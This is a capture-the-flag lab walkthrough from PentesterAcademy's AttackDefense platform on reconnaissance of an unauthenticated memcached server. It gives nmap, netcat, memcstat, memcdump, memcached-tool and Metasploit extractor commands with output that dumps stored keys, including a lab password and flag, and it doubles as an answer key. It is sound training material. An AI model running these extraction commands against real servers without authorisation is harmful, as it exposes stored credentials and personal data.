
ATTACK
DEFENSE
by PentesterAcademy

Name	Memcached Recon: Basics
URL	https://www.attackdefense.com/challengedetails?cid=512
Type	Network Recon : Memcached

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. Find the version of memcached server using nmap.

Answer: 1.5.12

Command: nmap -sV -p- 192.207.161.3

```
root@attackdefense:~# nmap -sV -p- 192.207.161.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-25 16:21 UTC
Nmap scan report for 3vit982weeo96ktdx1x4loflw.temp-network_a-207-161 (192.207.161.3)
Host is up (0.000014s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE   VERSION
11211/tcp open  memcached Memcached 1.5.12 (uptime 4454 seconds)
MAC Address: 02:42:C0:CF:A1:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds
root@attackdefense:~#
```

Q2. Find the version information using netcat or telnet.

Answer: 1.5.12

Command: echo -e "version\r\nquit\r\n" | nc 192.207.161.3 11211

```
root@attackdefense:~# echo -e "version\r\nquit\r\n" | nc 192.207.161.3 11211
VERSION 1.5.12
root@attackdefense:~#
```

Q3. Find the maximum number of simultaneous incoming connections allowed by the memcached server use available nmap scripts.

Answer: 2147

Command: nmap -p 11211 --script memcached-info 192.207.161.3

```
root@attackdefense:~# nmap -p 11211 --script memcached-info 192.207.161.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-25 16:26 UTC
Nmap scan report for 3vit982weeo96ktdx1x4loflw.temp-network_a-207-161 (192.207.161.3)
Host is up (0.000044s latency).

PORT      STATE SERVICE
11211/tcp open  memcache
| memcached-info:
|   Process ID: 7
|   Uptime: 4769 seconds
|   Server time: 2019-05-25T16:26:33
|   Architecture: 64 bit
|   Used CPU (user): 0.466310
|   Used CPU (system): 0.235377
|   Current connections: 2
|   Total connections: 7
|   Maximum connections: 2147
|   TCP Port: 11211
|   UDP Port: 0
|_  Authentication: no
MAC Address: 02:42:C0:CF:A1:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
root@attackdefense:~#
```

Q4. Find the number of current items on the memcached server using memcstat.

Answer: 10

Command: memcstat --servers=192.207.161.3

```
root@attackdefense:~# memcstat --servers=192.207.161.3
Server: 192.207.161.3 (11211)
         pid: 7
         uptime: 4918
         time: 1558801742
         version: 1.5.12
         libevent: 2.0.21-stable
         pointer_size: 64
         rusage_user: 0.474959
         rusage_system: 0.248790
         max_connections: 2147
         curr_connections: 2
         total_connections: 8
         rejected_connections: 0
         connection_structures: 3
         reserved_fds: 20
```

```
         curr_items: 10
         total_items: 10
         slab_global_page_pool: 0
         expired_unfetched: 0
         evicted_unfetched: 0
         evicted_active: 0
         evictions: 0
```

Q5. Find the value stored in the key 'flag' from the key value pairs dumped by available Metasploit module.

Answer: 25c8dc1c75c9965dff9afd3c8ced2775

Commands:

msfconsole
use auxiliary/gather/memcached_extractor
set RHOSTS 192.207.161.3
exploit

```
msf5 > use auxiliary/gather/memcached_extractor
msf5 auxiliary(gather/memcached_extractor) > set RHOSTS 192.207.161.3
RHOSTS => 192.207.161.3
msf5 auxiliary(gather/memcached_extractor) > exploit

[+] 192.207.161.3:11211   - Found 10 keys

Keys/Values Found for 192.207.161.3:11211
=========================================

 Key         Value
 ---         -----
 address     "VALUE address 0 14\r\n8188 Yukon St.\r\nEND\r\n"
 city        "VALUE city 0 10\r\nMount Airy\r\nEND\r\n"
 country     "VALUE country 0 13\r\nUnited States\r\nEND\r\n"
 first_name  "VALUE first_name 0 5\r\nJimmy\r\nEND\r\n"
 flag        "VALUE flag 0 32\r\n25c8dc1c75c9965dff9afd3c8ced2775\r\nEND\r\n"
 last_name   "VALUE last_name 0 5\r\nFrank\r\nEND\r\n"
 nick_name   "VALUE nick_name 0 3\r\nJim\r\nEND\r\n"
 password    "VALUE password 0 7\r\npass123\r\nEND\r\n"
 state       "VALUE state 0 8\r\nMaryland\r\nEND\r\n"
 zip         "VALUE zip 0 5\r\n21771\r\nEND\r\n"

[+] 192.207.161.3:11211   - memcached loot stored at /root/.msf4/loot/20190525163242_default_192.207.161.3_memcached.dump_466365.txt
[*] 192.207.161.3:11211   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(gather/memcached_extractor) >
```

Q6. Find the name of all keys present on the memcached server using memcdump.

Answer: flag, password, country, zip, state, city, address, nick_name, last_name, first_name

Command: memcdump --servers=192.207.161.3

```
root@attackdefense:~# memcdump --servers=192.207.161.3
flag
password
country
zip
state
city
address
nick_name
last_name
first_name
root@attackdefense:~#
```

Q7. Find the value stored in key “first_name” using memcached-tool.

Answer: Jimmy

Command: /usr/share/memcached/scripts/memcached-tool 192.207.161.3:11211 dump

```
root@attackdefense:~# /usr/share/memcached/scripts/memcached-tool 192.207.161.3:11211 dump
Dumping memcache contents
  Number of buckets: 1
  Number of items  : 10
Dumping bucket 1 - 10 total items
add nick_name 0 0 3
Jim
add city 0 0 10
Mount Airy
add flag 0 0 32
25c8dc1c75c9965dff9afd3c8ced2775
add password 0 0 7
pass123
add address 0 0 14
8188 Yukon St.
add state 0 0 8
Maryland
add last_name 0 0 5
Frank
add first_name 0 0 5
Jimmy
add zip 0 0 5
21771
add country 0 0 13
United States
root@attackdefense:~#
```

References:

1. Memcached (https://memcached.org/)
2. Nmap Script: Memcached-info (https://nmap.org/nsedoc/scripts/memcached-info.html)
3. Metasploit Module: Memcached Extractor (https://www.rapid7.com/db/modules/auxiliary/gather/memcached_extractor)
4. memcached-tool (https://github.com/memcached/memcached/blob/master/scripts/memcached-tool)
5. libmemcached-tools (https://manpages.debian.org/jessie/libmemcached-tools/)